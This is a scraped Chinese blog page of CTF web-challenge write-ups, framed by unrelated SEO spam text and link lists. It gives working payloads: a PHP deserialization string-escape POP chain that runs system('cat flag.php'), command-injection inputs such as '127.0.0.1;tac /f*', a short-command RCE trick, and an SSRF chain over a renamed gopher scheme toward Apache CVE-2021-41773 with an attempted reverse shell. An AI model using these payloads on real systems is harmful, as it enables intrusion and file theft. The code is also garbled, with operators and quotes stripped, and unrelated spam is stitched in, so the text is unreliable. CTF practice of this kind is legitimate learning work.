当前位置: 首页 > news >正文

做教育培训的网站wordpress文章找不到

做教育培训的网站,wordpress文章找不到,贺州市八步区乡镇建设局网站,京东网页界面设计分析[UUCTF 2022 新生赛]ezpop 提示说看看反序列化字符串逃逸 PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客 php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客 buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)_extract($_post);…[UUCTF 2022 新生赛]ezpop 提示说看看反序列化字符串逃逸 PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客 php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客 buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)_extract($_post); foreach($_post as $var){ if(preg__葫芦娃42的博客-CSDN博客  ?php //flag in flag.php error_reporting(0); class UUCTF{     public $name,$key,$basedata,$ob;     function __construct($str){         $this-name$str;     }     function __wakeup(){     if($this-keyUUCTF){             $this-obunserialize(base64_decode($this-basedata));         }         else{             die(oh!you should learn PHP unserialize String escape!);         }     } } class output{     public $a;     function __toString(){         $this-a-rce();     } } class nothing{     public $a;     public $b;     public $t;     function __wakeup(){         $this-a;     }     function __destruct(){         $this-b$this-t;         die($this-a);     } } class youwant{     public $cmd;     function rce(){         eval($this-cmd);     } } $pdata$_POST[data]; if(isset($pdata)) {     $dataserialize(new UUCTF($pdata));     $data_replacestr_replace(hacker,loveuu!,$data);     unserialize($data_replace); }else{     highlight_file(__FILE__); } ? 2022UUCTF-web_[uuctf 2022 新生赛]phonecode-CSDN博客 data参数可控然后post会传入data之后$data会new一个UUCTF类的实例对象替换掉hacker为loveuu!,再进行反序列化 先正常传入datajack则$data应该为 O:5:UUCTF:4:{s:4:name;s:4:jack;s:3:key;N;s:8:basedata;N;s:2:ob;N;} 其中标红的是我们可控的参数 开始代码审计在youwant类我们可以通过rce方法实现命令执行以此读flag 现在找链子 UUCTF:: nothing::__destruct() - output::__toString() - youwant::rce 流程即我们通过传入的data参数构造把后面的逃逸掉构造新的序列化串 O:5:UUCTF:4:{s:4:name;s:4:构造的;s:3:key;N;s:8:basedata;N;s:2:ob;N;} ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); 传入data数据用data数据初始化一个UUCTF类然后将hacker替换成loveuu后进行反序列化可以看到youwant类可以进行命令执行所以整条Pop链youwant_rce()-ouput_toString()-nothing_destruct()-UUCTF_wakeup()入口为UUCTF的__wakeup函数要将basedata的数据替换成Pop链的base64编码才能触发Pop链现在可以控制的只有构造函数即name的数据。 正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}     现在也就是说要把 ;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去首先构造Pop链。 ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); 构造出了basedata整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;};s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;} “;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符每有一个hacker替换就会多吃一个字符所以236个hacker刚好吃完”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到完成了逃逸。 完整payload ?php error_reporting(0); class output{     public $a; } class nothing{     public $a;     public $b;     public $t; } class youwant{     public $cmdsystem(cat flag.php);; } $Anew nothing(); $A-a$A-b; $A-tnew output(); $A-t-anew youwant(); $basedatabase64_encode(serialize($A)); echo strlen($basedata); $str ;s:3:key;s:5:UUCTF;s:8:basedata;s:.strlen($basedata).:.$basedata.;s:2:ob;N;}; echo $str.\n; $hacker; for($i0;$istrlen($str);$i) {     $hacker.hacker; } $payload $hacker.$str; echo $payload; #O:5:UUCTF:4:{s:4:name;s:5:aiwin;s:3:key;N;s:8:basedata;N;s:2:ob;N;} ? ?php class output{     public $a;     function __construct(){         $this-anew youwant();     } } class nothing{     public $a;     public $b;     public $t;     function __construct(){         $this-a$this-b;         $this-bxx;         $this-tnew output();     } } class youwant{     public $cmd;     function __construct()     {         $this-cmdsystem(cat flag.php);;     } } $basedata (base64_encode(serialize(new nothing()))); $str ;s:3:key;s:5:UUCTF;s:8:basedata;s:.strlen($basedata).:.$basedata.;s:2:ob;N;}; echo $str.\n; $hacker; for($i0;$istrlen($str);$i) {     $hacker.hacker; } $payload $hacker.$str; echo $payload; ? 看源码得到flag [NSSRound#13 Basic]ez_factors 首页给了一个超链接 发现把114514分解了质因数 提示了flag在根目录我们尝试直接读取  发现被过滤了 发现斜杠应该是被过滤了不然应该跟空格一样  发现只能读出来数字那么可以使用od命令把它转换成八进制 Linux 命令2—— od 命令_od命令-CSDN博客 od %2fflag 脚本 dump 0000000 051516 041523 043124 063173 031061 060546 032144 026463 0000020 032067 061060 032055 031062 026462 061070 033545 062455 0000040 033063 031466 062067 030144 060545 076470 000012 0000055 octs [(0o n) for n in dump.split( ) if n] hexs [int(n, 8) for n in octs] result for n in hexs:if (len(hex(n)) 4):swapped hex(((n 8) | (n 8)) 0xFFFF)result swapped[2:].zfill(4) print(bytes.fromhex(result).decode())当然也可以转10进制去解码 [SWPUCTF 2023 秋季新生赛]Pingpingping 注意这里涉及到一个非法传参的问题在PHP官方文档中有解释当变量名中出现点和空格时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe  参考资料 谈一谈PHP中关于非法参数名传参问题_php 非法传参名-CSDN博客 所以payload ?Ping[ip.exe127.0.0.1;ls /  ?Ping[ip.exe127.0.0.1;tac /f* [UUCTF 2022 新生赛]ezrce  限制了输入的字符最多为六个并且无回显常规思路就是将命令执行结果写入文件这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令 ls /a 发现flag文件 但是后边用这种方法就行不通了因为他限制了长度 后面我利用大佬的方法来做成功得到flag第一次见这种 nl 执行后会创建名为 nl 的文件 * /*d 意思就是 nl /*f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*d [NSSCTF 2nd]MyBox 进去是一片空白 利用file协议读取一下 非预期得到flag之前写过这个/proc的用法 linux - 将/proc/1/environ 转换为变量脚本 环境: 旧版本的 systemd 在容器中运行 预期解法 NSSCTF 2nd WEB-CSDN博客 读取?urlfile:///start.sh 看到源码路径读取源码 from flask import Flask, request, redirect import requests, socket, struct from urllib import parse app Flask(__name__) app.route(/) def index(): if not request.args.get(url): return redirect(/?urldosth) url request.args.get(url) if url.startswith(file://): with open(url[7:], r) as f: return f.read() elif url.startswith(http://localhost/): return requests.get(url).text elif url.startswith(mybox://127.0.0.1:): port, content url[18:].split(/_, maxsplit1) s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((127.0.0.1, int(port))) s.send(parse.unquote(content).encode()) res b while 1: data s.recv(1024) if data:res data else:break return res return app.run(0.0.0.0, 827) 这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。 如果 URL 参数中没有指定 ‘url’则重定向到 ‘/?urldosth’。     如果 URL 以 ‘file://’ 开头则根据文件路径读取文件内容并返回。     如果 URL 以 ‘http://localhost/’ 开头则使用 requests 库发送 GET 请求并返回响应的文本内容。     如果 URL 以 ‘mybox://127.0.0.1:’ 开头则将剩余部分分割为端口和内容使用 socket 连接到本地主机127.0.0.1的指定端口并发送解码后的内容然后接收并返回响应的内容。 发现一个很明显的SSRF利用点本来得用gopher://协议打但是这里魔改过 得把字符串gopher://换成mybox://。 elif url.startswith(mybox://127.0.0.1:):port, content url[18:].split(/_, maxsplit1)s socket.socket(socket.AF_INET, socket.SOCK_STREAM) 先用gopher://协议发个请求包看看请求一下不存在的PHP文件搜集一下信息  gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A 把gopher换成mybox mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A 在进行一次url编码 mybox%3A%2F%2F127.0.0.1%3A80%2F_GET%2520%2Fxxx.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A 抓包一直发包到404为止 可以看见这里Apache的版本是2.4.49这个版本的Apache有一个路径穿越和RCE漏洞CVE-2021-41773 我们用gopher://协议打CVE-2021-41773POST发包执行命令反弹shell。  参考资料看其中的week5[Unsafe Apache] NewStarCTF 2022 web方向题解 wp_Jay 17的博客-CSDN博客  这里用的是大佬的图一直反弹不上去 反弹shell得到flag
http://www.zqtcl.cn/news/84325/

相关文章:

  • 汉中网站制作二维码如何制作
  • 简述网站的四种常见结构爱站网官网
  • seo推广方法有哪些北京网站整站优化
  • 杭州公司注册代理中介南京百度快照优化排名
  • 西安网站建设那家强桂林北站有核酸检测点吗
  • 网站开发合同文档视频制作哪里可以学
  • 建站节专业网站建设定制
  • 做网站是用的那个开发软件搜索引擎网站入口
  • 口腔门诊建设网站wordpress用户上传资源验证码
  • 建设网站范文分类信息发布 wordpress
  • js 取网站域名资源搜索引擎搜索神器网
  • 网站数据库名称怎么改wordpress怎么连接数据库配置文件
  • 做网站要用什么语言jsp 响应式网站模板
  • 自己做的一个网站怎么赚钱网站服务公司
  • 网站建设什么好建站行业导航网站
  • 公关公司网站wordpress 建网页
  • 龙岗企业网站制作公司网站开发答辩知识点
  • 网站建设北京贵wordpress获取文章作者
  • 途途外贸企业网站管理系统wordpress写主题
  • 旅游网站效果图网站制作app免费软件
  • 海洋网站建设性价比高网站后台验证码无法显示
  • 中国建设培训网站查询系统药品网上商城
  • 制作短链接网站目前搜索引擎排名
  • 网站建设有哪三部中国矿井建设相关媒体网站
  • 宁波网站seo哪家好企业网站内容如何搭建
  • 网站备案照片网站频道策划
  • 亦庄公司做网站win服务器做网站
  • 福州专业网站建设网站推广的方式有哪些?
  • wordpress加侧边栏北京推广优化公司
  • 网站右侧 回到顶部高校网站建设费用